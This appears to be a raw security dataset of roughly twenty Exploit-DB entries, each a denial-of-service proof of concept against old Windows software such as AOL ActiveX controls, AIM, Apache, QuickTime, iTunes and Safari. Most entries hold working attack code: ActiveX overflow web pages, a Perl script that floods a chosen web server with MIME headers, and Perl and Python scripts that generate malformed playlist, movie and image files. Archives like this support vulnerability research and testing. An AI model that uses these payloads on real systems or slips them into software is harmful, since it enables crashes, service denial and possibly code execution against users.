deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14593
Description: AoAAudioExtractor 2.0.0.0 - ActiveX (PoC) (SEH)
Type: dos
Platform: windows
Date: 2010-08-09
Author: s-dz

Exploit:
<html>

<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object>
<script language='vbscript'>

'AoAAudioExtractor 2.0.0.0 ActiveX PoC (SEH)
' Author:    Hadji Samir ,s-dz@hotmail.fr  
' Tested on: Windows XP SP2 FR / IE6  
' Down:      http://www.aoamedia.com/audioextractor.exe
' Date:      2010-08-09
'samir tjrs mahboul-3lik

arg1=String(2048, "A")
nseh=String(4, "B")
seh=String(4, "C")
arg4=String(100, "D")
arg5=String(100, "E")

target.InitLicenKeys arg1 ,nseh ,seh ,arg4 ,arg5 
</script>


hadji samir
Exploit-DB #11190
Description: AOL 9.5 - ActiveX Heap Overflow
Type: dos
Platform: windows
Date: 2010-01-19
Author: Hellcode Research

Exploit:
Product:

AOL 9.5

Vulnerability:

ActiveX - Heap Overflow

Discussion:

Vulnerability is in Activex Control ("CDDBControl.dll") 
Sending a string to BindToFile() , triggering the vulnerability.
Successful exploitation allow remote attackers to execute arbitrary code.

Credits:

Celil 'karak0rsan' Unuver and murderkey
from Hellcode Research

tcc.hellcode.net
forum.hellcode.net


L4stW0rdZ: "hi francis, do you think we forget you ??? ofcourse not, dont wait patch, dont support vendors
and security industry ...." - mkey

---------------
PoC .wsf script:

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:BC8A96C6-3909-11D5-9001-00C04F4C3B9F' id='target' />

<script language='vbscript'>


arg1=String(4000, "A")
arg2=1

target.BindToFile arg1 ,arg2 

</script>
</job>
</package>
Exploit-DB #21333
Description: AOL Instant Messenger 4.x - Hyperlink Denial of Service
Type: dos
Platform: windows
Date: 2002-03-01
Author: NtWaK0 & Recon

Exploit:
source: https://www.securityfocus.com/bid/4244/info

AOL Instant Messenger (AIM) is a real time messaging service. The AIM client runs on Microsoft Windows operating systems.

It is possible to crash the AIM client by sending a specially formatted hyper-link to a user. When the user attempts to launch the malicious hyper-link, the client will crash.

This issue appears to be caused by an unchecked buffer in the AIM software. As a result, it may also be possible to exploit this issue to cause attacker-supplied instructions to be executed on the machine of a user running the vulnerable client. 

1- Make sure you have AIM 4.8.2646 installed

2- Open a new IM window and click the link button to setup a hyperlink
for your buddy.

4- Input the exact text into the link
aim:addbuddy?screenname=12345678,12345678,12345678,12345678,12345678,
12345678,12345678,12345678,12345678,12345678,12345678&groupname=
12345678,12345678,12345678,12345678,12345678,12345678,12345678
,12345678,12345678,12345678,

5- The text can be anything as long as it meets the format of 8
characters for each word to add as a screenname and a groupname, the
instances should be 11 for the screenname and 10 for the groupname

6- A memory dump will occurs as soon as the hyperlink is clicked by
either side (You or your buddy).
Exploit-DB #25633
Description: AOL Instant Messenger 4.x/5.x - Smiley Icon Location Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-05-09
Author: fjlj@wvi.com

Exploit:
source: https://www.securityfocus.com/bid/13553/info

AOL Instant Messenger is reported prone to a remote denial of service vulnerability.

The issue manifests when the affected client application handles a chat invitation, a file transfer, or a game request that contains 'smiley' HTML code that passes invalid data as the location of the 'smiley' icon.

Reports indicate that the issue manifests because of a buffer overflow condition this, however, is not confirmed.

A remote attacker may leverage this condition to crash a target AOL Instant Messenger client. Other attacks may also be possible. 

"DO NOT COPY AND PASTE OR IT WILL CRASH U" <fontsml=.>..<font sml= .></font>
Exploit-DB #30936
Description: AOL Picture Editor 'YGPPicEdit.dll' ActiveX Control 9.5.1.8 - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2007-12-25
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/27026/info

AOL Picture Editor 'YGPPicEdit.dll' ActiveX control is prone to multiple vulnerabilities that attackers can exploit to crash the application. The issues stem from various buffer-overflow conditions.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues may allow remote attackers to crash the affected application using the ActiveX control (typically Internet Explorer), denying service to legitimate users. Reports indicate that this issue may not be exploited to execute arbitrary code.

AOL Picture Editor 'YGPPicEdit.dll' 9.5.1.8 is vulnerable; other versions may also be affected. 

<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var s = &#039;A&#039;;

    while (s.length <= 8175) s = s + &#039;A&#039;;


   obj.DisplayName = s;
   obj.DisplayName = s;
   obj.FinalSavePath = s;
   obj.ForceSaveTo = s;
   obj.HiddenControls = s;
   obj.InitialEditorScreen = s;
   obj.Locale = s;
   obj.Proxy = s;
   obj.UserAgent = s;


   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html>
Exploit-DB #20272
Description: Apache 1.2.5/1.3.1 / UnityMail 2.0 - MIME Header Denial of Service
Type: dos
Platform: windows
Date: 1998-08-02
Author: L.Facq

Exploit:
source: https://www.securityfocus.com/bid/1760/info

Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack.

#! /bin/perl

# mimeflood.pl - 02/08/1998 - L.Facq (facq@u-bordeaux.fr)

# Web servers / possible DOS Attack / "mime header flooding"
#
#       looking at the apache 1.2.5 source code i found
#       that there was no limit on how many mime headers could
#       be included in a client request. The only limits
#       are : 8192 byte for each header, 300 sec. on reading headers.
#
#       => by sending a crazy amount of 8000 bytes headers, it's possible
#       to consume a lot of memory (and of course CPU). The point
#       is that httpd daemons grow and STAY at this big size (or die
#       if you send too much)
#
#       -> may be a limit on mime header number could be added.
#
#       -> may be other web server could be vulnerable to this problem.
#
#       - i tried on an apache 1.2.5 -> it works
#       - i didnt installed 1.3.1 but looking at the source code,
#       i think the problem is there too.
#
##################################################
#From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420
#
#[...]
#>
#>       -> may be a limit on mime header number could be added.
#
#Such limits have already been added to 1.3.2-dev.
#
#.....Roy

use Socket;

# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
    $max= $ARGV[2];
}

$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
    $port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0\n",0;
$val= ('z'x8000)."\n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
    send Socket_Handle,"Stupidheader$n: ",0;
    send Socket_Handle,$val,0;
    $n++;
    if (!($n % 100))
    {
        print "$n\n";
    }

    if ($max && ($n > $max))
    {
        last;
    }
}
print "Done: $n\n";
send Socket_Handle,"\n",0;

while (<Socket_Handle>)
{
    print $_;
}
Exploit-DB #15319
Description: Apache 2.2 (Windows) - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-10-26
Author: fb1h2s

Exploit:
#!c:\\perl\\bin\\
#
##
# Exploit Title: Apache 2.2 local denail of service windows
# Date: 25/10/2010
# Author: FB1H2S
# Software Link: http://httpd.apache.org/.
# Version: APACHE 2.2.16
# Tested on: wINDOWS xP SERVICE PACK 3
# CVE :
##
##Save the file as .pl in apache cgi-bin and Call this file from your browser and appache will
##crash throwing a debug prompt if configured
## Apache by default is configured with perl and Crash occurs when a perl cgi module tries to
##execute, calling the perl cgi binary from the "c:\\ path" which is an invalid location. Apache ##by default restarts automatically on every crash. Tested on Apache 2.2.16 on windows xp. This ##bug

##is only affected on (Apache + perl) windows.
##
############################################################################################
#And all greets to Garage Hackers Members.
#http://www.garage4hackers.com/forum.php  an Information Security portal
#And shouts to ICW, Andhra Hackers members
#B0Nd,Eberly,Wipu,beenu,w4ri0r,empty,neo,Rohith,Sids786,SmartKD,Tia,h@xor,r5scal,Atul,Vinnu
#############################################################################################
##
##
##
##
##
##
Exploit-DB #39037
Description: Apache 2.4.17 - Denial of Service
Type: dos
Platform: windows
Date: 2015-12-18
Author: rUnViRuS

Exploit:
# Exploit Title: Apache 2.4.17 - Denial of Service
# Date: 17/12/2015
# Exploit Author: rUnVirus [ Ahmed Atif]
# Vendor Homepage: www.apache.org
# Software Link: https://www.apachefriends.org/download.html/
# Version: 5.5.30
# Tested on: windows 7 - XAMPP Version 5.5.30 (Apache 2.4.17 - PHP 5.5.30) 


<?php

$s="<?php

//!*runvirus:start*!";

$s2="!*runvirus:end*! ?>";


 
$shellcode= 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

";
 
$egg = $s.$shellcode.$s2;



$content = preg_replace(
  '%//!\*runvirus:start\*!(.)+!\*runvirus:end\*!%s',
  'test',
  $egg
);

echo 'If you can see this everything seems to be working fine.';

?>
Exploit-DB #47937
Description: APKF Product Key Finder 2.5.8.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-17
Author: Ismail Tasdelen

Exploit:
# Exploit Title: APKF Product Key Finder 2.5.8.0 - 'Name' Denial of Service (PoC)
# Exploit Author: Ismail Tasdelen
# Exploit Date: 2020-01-16
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/apkf_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install APKF Product Key Finder
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.APKF Product Key Finder Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #10881
Description: Apollo Player 37.0.0.0 - '.aap' Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2009-12-31
Author: jacky

Exploit:
#Apollo Player 37.0.0.0 .aap BOF DOS Vulnerability
#Discovered and Written by : (jacky )
#Greetz to Peter Van Eeckhoutte and all Corelanc0d3r team ( Rick & mr_me & MarKoT &Edi)
#When you play normal songs and you save the playlist as .aap , and then open it up with notepad , u will note that it contains a header that MUST be written at the beginning of our malicious file ( I Like this type of exploits :P COOL !!! )
#If anyone can Overwrite the SEH chain or eip by some how method , just send your exploit's code to ( Jacky_thekiller@hotmail.com ) and i will be very happy of that ^.^
my $file="Crash.aap";
my $header="[Apollo Advanced Playlist]\nVersion=1.00\n[Entries]\nEntry1=";  #Playlist Header!!!
my $junk="A"x50000;                # A Random buffer to just make a crash .
my $end="\nNumberOfEntries=2";        #Playlist End !!!
open(POOH,">$file");
print POOH $header.$junk.$end;
print "[+]Malicious File created successfully!\n";
print "[+]Discovered and Coded by Jacky ( ME ) :P\n";
close(POOH);
Exploit-DB #32350
Description: Apple Bonjour for Windows 1.0.4 - mDNSResponder Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2008-09-09
Author: Mario Ballano BÃ¡rcena

Exploit:
source: https://www.securityfocus.com/bid/31091/info

Apple Bonjour for Windows is prone to a denial-of-service issue because of a NULL-pointer dereference.

Successfully exploiting this issue will allow attackers to crash the mDNSResponder system service, denying service to legitimate users.

Bonjour for Windows 1.0.4 is vulnerable. 

http://diechromedie[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]234.local/
Exploit-DB #9554
Description: Apple iPhone 2.2.1/3.x - MobileSafari Crash + Reboot (Denial of Service)
Type: dos
Platform: windows
Date: 2009-08-31
Author: TheLeader

Exploit:
# Apple iPhone (MobileSafari) Crash & Reboot
# TheLeader, GSOG [st0p] hotmail [sp4m] com
# Shoutz: hacking.org.il nullbyte.org.il

# Tested on iPod Touch 2G, OS 2.2.1
# Launch MobileSafari, enter the page and MobileSafari will freeze.
# Wait for 4-5 minutes and the device will spontaneously reboot.

# Exploit:

<html>
<body>
<script>
var a = '';
for (var i = 1; i <= 500000; i++)
{
  a += '\n';
}
alert(a);
</script>
</body>
</html>

# milw0rm.com [2009-08-31]
Exploit-DB #7296
Description: Apple iTunes 8.0.2.20/QuickTime 7.5.5 - '.mov' Multiple Off By Overflows (PoC)
Type: dos
Platform: windows
Date: 2008-11-30
Author: laurent gaffiÃ©

Exploit:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Quicktime/Itunes Multiple Remote Off By One Overflow

Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7)

Web Site: www.apple.com/

Platform: Windows *, OS X *

Bug: Off by one overflow

Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

================

1) Introduction

================

"Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting.
QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task.
Easily make your application multimedia-enabled with QuickTime."

=======

2) Bug

=======
Quicktime & itunes fails to handle long arguments on a .mov file.
Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code :
c0000409
but ...
Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes.
The PoC give's us full control over EAX & EDI
Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution
via this unsafe call to quicktime hÃ©hÃ©hÃ© :)
The only problem, is the lengh of the buffer overflowed :(
erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41.
i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc,
but out of luck, i guess someone will maybe be able to do some magic tricks :)


==================

3)Proof of concept

==================

#!/usr/bin/perl

use strict;

my $movfile =
"\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d".
"\x72\x6d\x64\x61\x00\x00\x00\x55\x72\x64\x72\x66\x00\x00\x00\x00\x75\x72\x6c\x20".
"\x00\x00\x00\x41\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31".
"\x2f\x74\x65\x73\x74\x2e\x6d\x6f\x76\x00\x00\x00\x00\x10\x72\x6d\x64\x72\x00\x00".
"\x00\x00\x00\x00\x05\x78".
"\x41\x42\x43\x44". #EDI here
"\x61\x62\x63\x64". #EAX here
"\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x44\x44\x44\x41\x41\x43\x43".
"\x43\x41\x41\x41\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";


open(out, "> test.mov");
binmode(out);
print (out $movfile);
close(out);

//if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ...
=====

5)Credits

=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-11-30]
Exploit-DB #27069
Description: Apple QuickTime 6.4/6.5/7.0.x - PictureViewer '.JPEG'/.PICT' File Buffer Overflow
Type: dos
Platform: windows
Date: 2006-01-11
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/16212/info

Apple QuickTime is prone to a buffer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data before copying it to finite-sized process buffers.

An attacker may be able to exploit this issue to execute arbitrary machine code in the context of the affected application, but this has not been confirmed. Unsuccessful exploit attempts will most likely crash the application.

This issue affects QuickTime 6.5.2 and 7.0.3; other versions may also be vulnerable. QuickTime 7.0.4 may also be vulnerable, but this has not been confirmed.

This issue may have previously been discussed in BID 16202 (Apple QuickTime Multiple Code Execution Vulnerabilities). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27069.jpg
Exploit-DB #25281
Description: Apple QuickTime 6.5.1 - PictureViewer Buffer Overflow
Type: dos
Platform: windows
Date: 2005-03-26
Author: liquid@cyberspace.org

Exploit:
source: https://www.securityfocus.com/bid/12905/info

Apple QuickTime is reportedly prone to a buffer overflow when viewing malformed image files.

This issue was reported to exist in QuickTime 6.5.1 for Windows. Other versions may also be affected.

import struct
f=open(raw_input("enter the path to the input file:\n"),"rb")
a=f.read()
f.close()
n=a.index("\xff\xc4")
b=a[:n]+"\xff\xc4\x02\x11\x00\xff\xff"+"\x00"*14+"\x01"*510
+a[n+2+struct.unpack("!H",a[n+2:n+4])[0]:]
f=open(raw_input("enter the path to the output file:\n"),"wb")
f.write(b)
f.close()
Exploit-DB #770
Description: Apple QuickTime 6.5.2.10 - '.qtif' Image Parsing
Type: dos
Platform: windows
Date: 2005-01-24
Author: ATmaCA

Exploit:
# Added qtif on milw0rm's sploits archive/ /str0ke #

Application: QuickTime
            http://www.apple.com/quicktime/

AFFECTED VERSION:
Versions verified to be vulnerable:
QuickTime.qts (6.5.2.10) and prior versions are affected.

The bug:
The problem specifically exists when QuickTime.qts component parsing
(.qtif) image files that contain uncompleted header.
A remote user can create a file that when processed by QuickTime PictureViewer or via browser,
will can cause the remote system to crash.

--Uncompleted qtif image file header
http://www.atmacasoft.com/exp/vuln.qtif.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/770.qtif (vuln.qtif)

00[PII_REDACTED] 005E [PII_REDACTED] 6A70 [PII_REDACTED] 0000 0000 0000 ...^idsc...Vjpeg............
0000001C 6170 706C [PII_REDACTED] 0100 016D [PII_REDACTED] 0000 724D appl...........m.H...H....rM
00[PII_REDACTED] 0C50 686F 746F 202D 204A [PII_REDACTED] [PII_REDACTED] ...Photo - JPEG.............
[PII_REDACTED] 0000 0018 FFFF [PII_REDACTED] FFD8 FFE0 0010           ............rUidat......

VENDOR RESPONSE:
No vendor response.

Discoveried By ATmaCA
AtmacaSoft Inc.
http://www.atmacasoft.com

# milw0rm.com [2005-01-24]
Exploit-DB #22855
Description: Apple QuickTime 7.7.2 - Targa image Buffer Overflow
Type: dos
Platform: windows
Date: 2012-11-20
Author: Senator of Pirates

Exploit:
*Application : Apple QuickTime
Versions : <=  before 7.7.3
CVE : 2012-3755*
*Impact : 9.3 (High)*
*References* *:* *
http://lists.apple.com/archives/security-announce/2012/Nov/msg00002.html*
*Auther : Senator of Pirates*
*E-Mail : SenatorofPirates.team[at]gmail.com
FaceBook : /SenatorofPirates
                  **/SenatorofPiratesInfo
Greetz : To Morocco

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*

*Vulnerability :

A buffer overflow vulnerability in QuickTime PictureViewer.exe and the
specific flaw exists within TGA file images encoded data, When encountering
an invalid encoded width field and can be result a heap-based buffer
overflow occur.
And this vulnerability allows remote attackers to execute arbitrary code or
cause a denial of service (application crash) via a crafted Targa image. *
*
PoC :

http://www18.zippyshare.com/v/40547915/file.html
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22855.tga

*
Exploit-DB #30188
Description: Apple Safari - Feed URI Denial of Service
Type: dos
Platform: windows
Date: 2007-05-13
Author: Moshe Ben-Abu

Exploit:
source: https://www.securityfocus.com/bid/24460/info

Apple Safari is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to cause denial-of-service conditions on a user's computer.

Apple Safari for Windows 3 Beta is vulnerable; other versions may also be affected. 

'feed://%'